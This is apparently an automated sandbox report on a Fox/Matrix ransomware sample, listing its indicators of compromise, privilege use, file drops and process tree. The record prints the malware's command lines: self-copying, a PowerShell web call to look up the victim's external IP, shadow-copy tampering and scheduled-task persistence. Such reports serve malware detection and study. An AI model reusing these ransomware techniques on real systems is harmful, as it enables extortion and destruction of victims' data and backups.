description ioc Process File created C:\Windows\system32\Drivers\PROCEXP152.SYS Shhd7Ms264.exe - Sets service image path in registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PROCEXP152\ImagePath = "\\??\\C:\\Windows\\system32\\Drivers\\PROCEXP152.SYS" Shhd7Ms264.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation wscript.exe - Executes dropped EXE 3 IoCs
pid Process 3224 NWLeOE3P.exe 4384 Shhd7Ms2.exe 4380 Shhd7Ms264.exe - Modifies file permissions 1 TTPs 1 IoCs
pid Process 4652 takeown.exe -
resource yara_rule behavioral4/files/0x000600000002321f-2257.dat upx behavioral4/memory/4384-2276-0x0000000000400000-0x0000000000477000-memory.dmp upx behavioral4/memory/4384-8453-0x0000000000400000-0x0000000000477000-memory.dmp upx - Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\O: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\J: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\H: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\N: Shhd7Ms264.exe File opened (read-only) \??\V: Shhd7Ms264.exe File opened (read-only) \??\M: Shhd7Ms264.exe File opened (read-only) \??\W: Shhd7Ms264.exe File opened (read-only) \??\Z: Shhd7Ms264.exe File opened (read-only) \??\X: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\S: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\P: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\G: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\E: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\E: Shhd7Ms264.exe File opened (read-only) \??\J: Shhd7Ms264.exe File opened (read-only) \??\T: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\Q: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\N: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\V: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\U: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\G: Shhd7Ms264.exe File opened (read-only) \??\L: Shhd7Ms264.exe File opened (read-only) \??\R: Shhd7Ms264.exe File opened (read-only) \??\X: Shhd7Ms264.exe File opened (read-only) \??\Y: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\W: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\R: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\A: Shhd7Ms264.exe File opened (read-only) \??\O: Shhd7Ms264.exe File opened (read-only) \??\Q: Shhd7Ms264.exe File opened (read-only) \??\U: Shhd7Ms264.exe File opened (read-only) \??\M: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\Y: Shhd7Ms264.exe File opened (read-only) \??\P: Shhd7Ms264.exe File opened (read-only) \??\L: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\K: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\I: 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened (read-only) \??\B: Shhd7Ms264.exe File opened (read-only) \??\H: Shhd7Ms264.exe File opened (read-only) \??\I: Shhd7Ms264.exe File opened (read-only) \??\K: Shhd7Ms264.exe File opened (read-only) \??\S: Shhd7Ms264.exe File opened (read-only) \??\T: Shhd7Ms264.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 152 myexternalip.com - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\YMxXNJbw.bmp" reg.exe - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\relaxngdatatype.md 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\THIRDPARTYLICENSEREADME.txt 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\vreg\officemuiset.msi.16.en-us.vreg.dat 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\inline-error-2x.png 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Locales\ja.pak 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\classfile_constants.h 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_Subscription2-pl.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ko-kr\PlayStore_icon.svg 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\en-gb\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019VL_MAK_AE-ul-oob.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fill-sign.png 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\root\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365HomePremR_Subscription1-pl.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_OEM_Perp5-ul-phn.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected] 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_unshare_18.svg 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\zh-tw\ui-strings.js 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019XC2RVL_KMS_ClientC2R-ppd.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\images\themes\dark\CompleteCheckmark2x.png 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_O16EnterpriseVL_Bypass30-ppd.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\mscss7wre_en.dub 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL058.XML 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\nl-nl\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fr-fr\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusEDUR_Subscription-pl.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SUMIPNTG\SUMIPNTG.ELM 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\files_icons2x.png 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pt-br\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\en-il\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\faf_icons_retina.png 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\santuario.md 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoVL_KMS_Client-ul-oob.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365BusinessR_Subscription-pl.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_Retail-ul-phn.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\[email protected] 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\VideoLAN\VLC\lua\intf\modules\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BREEZE\THMBNAIL.PNG 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon_2x.png 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_proxy\identity_helper.Sparse.Internal.msix 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\es-es\ui-strings.js 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\nn.pak.DATA 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_OEM_Perp2-pl.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlusR_Trial-ppd.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Cartridges\sql2000.xsl 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\CancelGlyph.16.White.png 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\FrameworkList.xml 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\pl-pl\ui-strings.js 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\it-it\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\en-il\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\de.pak 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdCO365R_SubTest-ppd.xrm-ms 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\ui-strings.js 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\dd_arrow_small.png 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File created C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\fr-fr\#FOX_README#.rtf 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\ResiliencyLinks\Locales\cy.pak.DATA 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\dt.jar 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1264 schtasks.exe - Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5468 vssadmin.exe 3568 vssadmin.exe - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 3328 powershell.exe 3328 powershell.exe 4380 Shhd7Ms264.exe 4380 Shhd7Ms264.exe 4380 Shhd7Ms264.exe 4380 Shhd7Ms264.exe 4380 Shhd7Ms264.exe 4380 Shhd7Ms264.exe 4380 Shhd7Ms264.exe 4380 Shhd7Ms264.exe 4380 Shhd7Ms264.exe 6040 powershell.exe 6040 powershell.exe 6040 powershell.exe - Suspicious behavior: LoadsDriver 1 IoCs
pid Process 4380 Shhd7Ms264.exe - Suspicious use of AdjustPrivilegeToken 50 IoCs
description pid Process Token: SeDebugPrivilege 3328 powershell.exe Token: SeTakeOwnershipPrivilege 4652 takeown.exe Token: SeDebugPrivilege 4380 Shhd7Ms264.exe Token: SeLoadDriverPrivilege 4380 Shhd7Ms264.exe Token: SeBackupPrivilege 6588 vssvc.exe Token: SeRestorePrivilege 6588 vssvc.exe Token: SeAuditPrivilege 6588 vssvc.exe Token: SeIncreaseQuotaPrivilege 6404 WMIC.exe Token: SeSecurityPrivilege 6404 WMIC.exe Token: SeTakeOwnershipPrivilege 6404 WMIC.exe Token: SeLoadDriverPrivilege 6404 WMIC.exe Token: SeSystemProfilePrivilege 6404 WMIC.exe Token: SeSystemtimePrivilege 6404 WMIC.exe Token: SeProfSingleProcessPrivilege 6404 WMIC.exe Token: SeIncBasePriorityPrivilege 6404 WMIC.exe Token: SeCreatePagefilePrivilege 6404 WMIC.exe Token: SeBackupPrivilege 6404 WMIC.exe Token: SeRestorePrivilege 6404 WMIC.exe Token: SeShutdownPrivilege 6404 WMIC.exe Token: SeDebugPrivilege 6404 WMIC.exe Token: SeSystemEnvironmentPrivilege 6404 WMIC.exe Token: SeRemoteShutdownPrivilege 6404 WMIC.exe Token: SeUndockPrivilege 6404 WMIC.exe Token: SeManageVolumePrivilege 6404 WMIC.exe Token: 33 6404 WMIC.exe Token: 34 6404 WMIC.exe Token: 35 6404 WMIC.exe Token: 36 6404 WMIC.exe Token: SeIncreaseQuotaPrivilege 6404 WMIC.exe Token: SeSecurityPrivilege 6404 WMIC.exe Token: SeTakeOwnershipPrivilege 6404 WMIC.exe Token: SeLoadDriverPrivilege 6404 WMIC.exe Token: SeSystemProfilePrivilege 6404 WMIC.exe Token: SeSystemtimePrivilege 6404 WMIC.exe Token: SeProfSingleProcessPrivilege 6404 WMIC.exe Token: SeIncBasePriorityPrivilege 6404 WMIC.exe Token: SeCreatePagefilePrivilege 6404 WMIC.exe Token: SeBackupPrivilege 6404 WMIC.exe Token: SeRestorePrivilege 6404 WMIC.exe Token: SeShutdownPrivilege 6404 WMIC.exe Token: SeDebugPrivilege 6404 WMIC.exe Token: SeSystemEnvironmentPrivilege 6404 WMIC.exe Token: SeRemoteShutdownPrivilege 6404 WMIC.exe Token: SeUndockPrivilege 6404 WMIC.exe Token: SeManageVolumePrivilege 6404 WMIC.exe Token: 33 6404 WMIC.exe Token: 34 6404 WMIC.exe Token: 35 6404 WMIC.exe Token: 36 6404 WMIC.exe Token: SeDebugPrivilege 6040 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2952 wrote to memory of 4708 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 84 PID 2952 wrote to memory of 4708 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 84 PID 2952 wrote to memory of 4708 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 84 PID 2952 wrote to memory of 3224 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 86 PID 2952 wrote to memory of 3224 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 86 PID 2952 wrote to memory of 3224 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 86 PID 2952 wrote to memory of 3204 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 88 PID 2952 wrote to memory of 3204 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 88 PID 2952 wrote to memory of 3204 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 88 PID 3204 wrote to memory of 3328 3204 cmd.exe 90 PID 3204 wrote to memory of 3328 3204 cmd.exe 90 PID 3204 wrote to memory of 3328 3204 cmd.exe 90 PID 2952 wrote to memory of 4800 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 98 PID 2952 wrote to memory of 4800 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 98 PID 2952 wrote to memory of 4800 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 98 PID 2952 wrote to memory of 3180 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 97 PID 2952 wrote to memory of 3180 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 97 PID 2952 wrote to memory of 3180 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 97 PID 4800 wrote to memory of 1000 4800 cmd.exe 102 PID 4800 wrote to memory of 1000 4800 cmd.exe 102 PID 4800 wrote to memory of 1000 4800 cmd.exe 102 PID 3180 wrote to memory of 692 3180 cmd.exe 103 PID 3180 wrote to memory of 692 3180 cmd.exe 103 PID 3180 wrote to memory of 692 3180 cmd.exe 103 PID 4800 wrote to memory of 3980 4800 cmd.exe 104 PID 4800 wrote to memory of 3980 4800 cmd.exe 104 PID 4800 wrote to memory of 3980 4800 cmd.exe 104 PID 4800 wrote to memory of 2704 4800 cmd.exe 105 PID 4800 wrote to memory of 2704 4800 cmd.exe 105 PID 4800 wrote to memory of 2704 4800 cmd.exe 105 PID 2952 wrote to memory of 4600 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 107 PID 2952 wrote to memory of 4600 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 107 PID 2952 wrote to memory of 4600 2952 0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe 107 PID 4600 wrote to memory of 2396 4600 cmd.exe 109 PID 4600 wrote to memory of 2396 4600 cmd.exe 109 PID 4600 wrote to memory of 2396 4600 cmd.exe 109 PID 692 wrote to memory of 1424 692 wscript.exe 110 PID 692 wrote to memory of 1424 692 wscript.exe 110 PID 692 wrote to memory of 1424 692 wscript.exe 110 PID 4600 wrote to memory of 4276 4600 cmd.exe 112 PID 4600 wrote to memory of 4276 4600 cmd.exe 112 PID 4600 wrote to memory of 4276 4600 cmd.exe 112 PID 1424 wrote to memory of 1264 1424 cmd.exe 113 PID 1424 wrote to memory of 1264 1424 cmd.exe 113 PID 1424 wrote to memory of 1264 1424 cmd.exe 113 PID 4600 wrote to memory of 4652 4600 cmd.exe 114 PID 4600 wrote to memory of 4652 4600 cmd.exe 114 PID 4600 wrote to memory of 4652 4600 cmd.exe 114 PID 692 wrote to memory of 4688 692 wscript.exe 115 PID 692 wrote to memory of 4688 692 wscript.exe 115 PID 692 wrote to memory of 4688 692 wscript.exe 115 PID 4600 wrote to memory of 2768 4600 cmd.exe 117 PID 4600 wrote to memory of 2768 4600 cmd.exe 117 PID 4600 wrote to memory of 2768 4600 cmd.exe 117 PID 2768 wrote to memory of 4384 2768 cmd.exe 118 PID 2768 wrote to memory of 4384 2768 cmd.exe 118 PID 2768 wrote to memory of 4384 2768 cmd.exe 118 PID 4688 wrote to memory of 4280 4688 cmd.exe 119 PID 4688 wrote to memory of 4280 4688 cmd.exe 119 PID 4688 wrote to memory of 4280 4688 cmd.exe 119 PID 4384 wrote to memory of 4380 4384 Shhd7Ms2.exe 122 PID 4384 wrote to memory of 4380 4384 Shhd7Ms2.exe 122 PID 4664 wrote to memory of 5468 4664 cmd.exe 124 PID 4664 wrote to memory of 5468 4664 cmd.exe 124 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2396 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe"1⤵
- Matrix Ransomware
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2952 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWLeOE3P.exe"2⤵PID:4708
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWLeOE3P.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWLeOE3P.exe" -n2⤵
- Executes dropped EXE
PID:3224
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\X91ix9yi.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3204 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
